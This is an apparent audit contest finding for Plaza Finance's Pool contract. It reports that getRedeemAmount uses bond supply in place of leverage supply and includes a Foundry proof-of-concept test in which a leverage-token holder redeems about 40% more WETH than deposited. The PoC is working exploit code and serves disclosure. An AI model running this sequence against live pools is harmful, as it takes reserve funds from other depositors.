Glamorous Steel Wren

Medium

# Incorrect collateral level calculations in `getRedeemAmount` lead to innacuraccies and precision loss when redeeming

### Summary

When a user calls `Pool::redeem` function, `Pool::getRedeemAmount` function is called, to calculate how much of the reserve token the user should get in return of their derivative tokens. So when `getRedeemAmount` function is called, if `tokenType` is equal to `TokenType.LEVERAGE`, when the function calculates `collateralLevel` it uses `bondSupply` instead of `levSupply`, which leads to innacuraccies and precision loss in further calculations in the same function, such as when calculating `redeemRate` and returned redeem amount.

Consider these scenarios:

1. When `collateralLevel` should be above threshold, but it gets set to below, due to a scenario where `bondSupply` is much bigger than `levSupply` (which will happen when users call `create` or `redeem` functions with big amounts of tokens), then `redeemRate` becomes lower than it should be, due to multiplier being used.
2. When `collateralLevel` should be below threshold, but it gets set to above, due to a scenario where `bondSupply` is much smaller than `levSupply` (which will happen when users call `create` or `redeem` functions with big amounts of tokens), resulting in bigger than expected `redeemRate`.

Take a look at the PoC section to see an example scenario of this issue. 

### Root Cause

 Incorrect variable is used in collateral level calculation in `Pool::getRedeemAmount` function. In line 502, `levSupply` should be used instead of `bondSupply`, because the token type is `leverage`, not `bond`. 

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L502




**Internal Pre-conditions:**

At the time of redeem, `bondSupply` and `levSupply` should be different, which will happen when users call `create` or `redeem` functions with big amounts of tokens

### Attack Path

1. New pool gets created with even values (doesn't have to be even) of `bondAmount` and `leverageAmount`
2. `User A` calls `Pool::create`, creating some `leverage` tokens
3. `User B` calls `Pool::create` with a big amount of `reserve` tokens, creating a big number of `bond` tokens
4. `User A` calls `Pool::redeem`, burning their `leverage` tokens and redeeming a bigger or smaller (depending on scenario) than expected `reserve` token amount

### Impact

Depending on circumstances, this issue can have two different results:

1. It will lead to users getting more reserve tokens when redeeming, than they should get.
2. It will lead to users getting less reserve tokens when redeeming, than they should get.

Both of these are obviously not intended and should be fixed as soon as possible.

### PoC

1. Create a new file in the `test` folder and name it `TestPOC.t.sol`
2. Paste the code provided below into the file:

<details>
<summary>Code</summary>

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {Auction} from "../src/Auction.sol";
import {MockPool} from "./mocks/MockPool.sol";
import {BondToken} from "../src/BondToken.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";

contract TestPOC is Test {
    Auction auction;
    Token usdc;
    Token weth;
    address house = address(0x2);
    address minter = address(0x3);
    address governance = address(0x4);
    address securityCouncil = address(0x5);
    address user = makeAddr("user");
    address pool;
    uint256 totalBuyCouponAmount = 7500 * 10 ** 6;
    address private oracleFeedsContract;
    MockPriceFeed private mockPriceFeed;
    address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);
    uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10 ** 8;
    uint8 private constant CHAINLINK_DECIMAL = 8;

    function setUp() public {
        usdc = new Token("USDC", "USDC", false);
        weth = new Token("WETH", "WETH", false);

        pool = createPool(address(weth), address(usdc));
        useMockPool(pool);

        vm.startPrank(governance);

        OracleFeeds(oracleFeedsContract).setPriceFeed(address(weth), address(0), ethPriceFeed, 999 days);

        // Deploy the mock price feed
        mockPriceFeed = new MockPriceFeed();

        // Use vm.etch to deploy the mock contract at the specific address
        bytes memory bytecode = address(mockPriceFeed).code;
        vm.etch(ethPriceFeed, bytecode);

        // Set oracle price
        mockPriceFeed = MockPriceFeed(ethPriceFeed);
        mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

        vm.stopPrank();
    }

    function createPool(address reserve, address coupon) public returns (address) {
        vm.startPrank(governance);
        address deployer = address(new Deployer());
        oracleFeedsContract = address(new OracleFeeds());

        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        PoolFactory poolFactory = PoolFactory(
            Utils.deploy(
                address(new PoolFactory()),
                abi.encodeCall(
                    PoolFactory.initialize,
                    (governance, deployer, oracleFeedsContract, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
                )
            )
        );

        PoolFactory.PoolParams memory params;
        params.fee = 0;
        params.reserveToken = reserve;
        params.sharesPerToken = 2500000; // 2.5e6
        params.distributionPeriod = 90 days;
        params.couponToken = coupon;

        poolFactory.grantRole(poolFactory.GOV_ROLE(), governance);
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);
        poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), securityCouncil);

        Token(reserve).mint(governance, 1000 ether);
        Token(reserve).approve(address(poolFactory), 1000 ether);

        return poolFactory.createPool(
            params, 100 ether, 2000 ether, 2000 ether, "Bond ETH", "bondETH", "Leverage ETH", "levETH", false
        );
        //           ^           ^           ^         <--------------- here can change values to set up pool
    }

    function useMockPool(address poolAddress) public {
        // Deploy the mock pool
        MockPool mockPool = new MockPool();

        // Use vm.etch to deploy the mock contract at the specific address
        vm.etch(poolAddress, address(mockPool).code);
    }

    function testDifferentSupplyOfBondAndLevTokens() public {
        // ******************** The issue that I'm trying to showcase in this PoC can be seen in many different scenarios. You can test other scenarios yourself and see, all code is in this file, just comment/uncomment what's required ******************** //
        // ******************** Or if you want to change `reserveAmount`, `bondAmount` or `leverageAmount` at the time of pool creation, you can do that above in `createPool` function (I marked it with a comment) ******************** //

        uint256 regularUserAmount = 10 ether; // amount of weth that users deposit to the pool, to create derivative tokens
        console.log("user weth balance before create:", regularUserAmount);
        uint256 numberOfRegularUsers = 1; // <----------- you can change this value to test out different scenarios
        address[1] memory users; // <----------- you can change the size of the array to test out different scenarios
        Pool.TokenType tokenTypeBond = Pool.TokenType.BOND;
        Pool.TokenType tokenTypeLev = Pool.TokenType.LEVERAGE;
        BondToken bondToken = Pool(pool).bondToken();
        LeverageToken levToken = Pool(pool).lToken();
        uint256 whaleUserAmount = 200 ether; // amount of weth that whale user deposits to the pool, to create derivative tokens
        address whaleUser = makeAddr("whale user");

        // generating addresses for users

        for (uint256 i = 0; i < numberOfRegularUsers; i++) {
            users[i] = address(uint160(uint256(keccak256(abi.encodePacked(i + 999)))));
        }

        // users create bond tokens

        // for (uint256 i = 0; i < numberOfRegularUsers; i++) {
        //     vm.startPrank(users[i]);
        //     weth.mint(users[i], regularUserAmount);
        //     weth.approve(pool, regularUserAmount);
        //     Pool(pool).create(tokenTypeBond, regularUserAmount, 0);
        //     vm.stopPrank();
        //     console.log("user bond balance after create:", bondToken.balanceOf(users[i]));
        // }

        // users create lev tokens

        for (uint256 i = 0; i < numberOfRegularUsers; i++) {
            vm.startPrank(users[i]);
            weth.mint(users[i], regularUserAmount);
            weth.approve(pool, regularUserAmount);
            Pool(pool).create(tokenTypeLev, regularUserAmount, 0);
            vm.stopPrank();
            console.log("user lev balance after create:", levToken.balanceOf(users[i])); // odd balance
        }

        // whale user creates bond tokens

        vm.startPrank(whaleUser);
        weth.mint(whaleUser, whaleUserAmount);
        weth.approve(pool, whaleUserAmount);
        Pool(pool).create(tokenTypeBond, whaleUserAmount, 0);
        vm.stopPrank();

        // whale user creates lev tokens

        // vm.startPrank(whaleUser);
        // weth.mint(whaleUser, whaleUserAmount);
        // weth.approve(pool, whaleUserAmount);
        // Pool(pool).create(tokenTypeLev, whaleUserAmount, 0);
        // vm.stopPrank();

        // users redeem bond tokens

        // for (uint256 i = 0; i < numberOfRegularUsers; i++) {
        //     vm.startPrank(users[i]);
        //     Pool(pool).redeem(tokenTypeBond, bondToken.balanceOf(users[i]), 0);
        //     vm.stopPrank();
        //     console.log("user weth balance after redeem:", weth.balanceOf(users[i]));
        // }

        // users redeem lev tokens

        for (uint256 i = 0; i < numberOfRegularUsers; i++) {
            vm.startPrank(users[i]);
            Pool(pool).redeem(tokenTypeLev, levToken.balanceOf(users[i]), 0);
            vm.stopPrank();
            console.log("user weth balance after redeem:", weth.balanceOf(users[i])); // in this scenario, last user gets ~40% more WETH than they should
        }

        // whale user redeems bond tokens

        // vm.startPrank(whaleUser);
        // Pool(pool).redeem(tokenTypeBond, bondToken.balanceOf(whaleUser), 0);
        // vm.stopPrank();
        // console.log("whale user weth balance after redeem:", weth.balanceOf(whaleUser));

        // whale user redeems lev tokens

        // vm.startPrank(whaleUser);
        // Pool(pool).redeem(tokenTypeLev, levToken.balanceOf(whaleUser), 0);
        // vm.stopPrank();
        // console.log("whale user weth balance after redeem:", weth.balanceOf(whaleUser));
    }
}
```
</details>

3. Run the test using this command: `forge test --mt testDifferentSupplyOfBondAndLevTokens -vv`
4. Take a look at the logs shown in the terminal. They should look like this:

`Logs:`   
  `user weth balance before create: 10000000000000000000`   
  `user lev balance after create: 600000000000000000000`   
  `user weth balance after redeem: 14307692200000000000`   

5. As you can see in this example scenario, the user got more than 40% extra WETH, than they should have gotten
6. To test other scenarios, read my comments at the top of the test function.

### Mitigation

When user calls `Pool::create` or `Pool::redeem`, make sure to use appropriate values for calculations, depending on the derivative token type inputted by the user. For `BOND` token - use values that are associated with this token, for `LEVERAGE` token - use values that are associated with this token. Do not mix them up.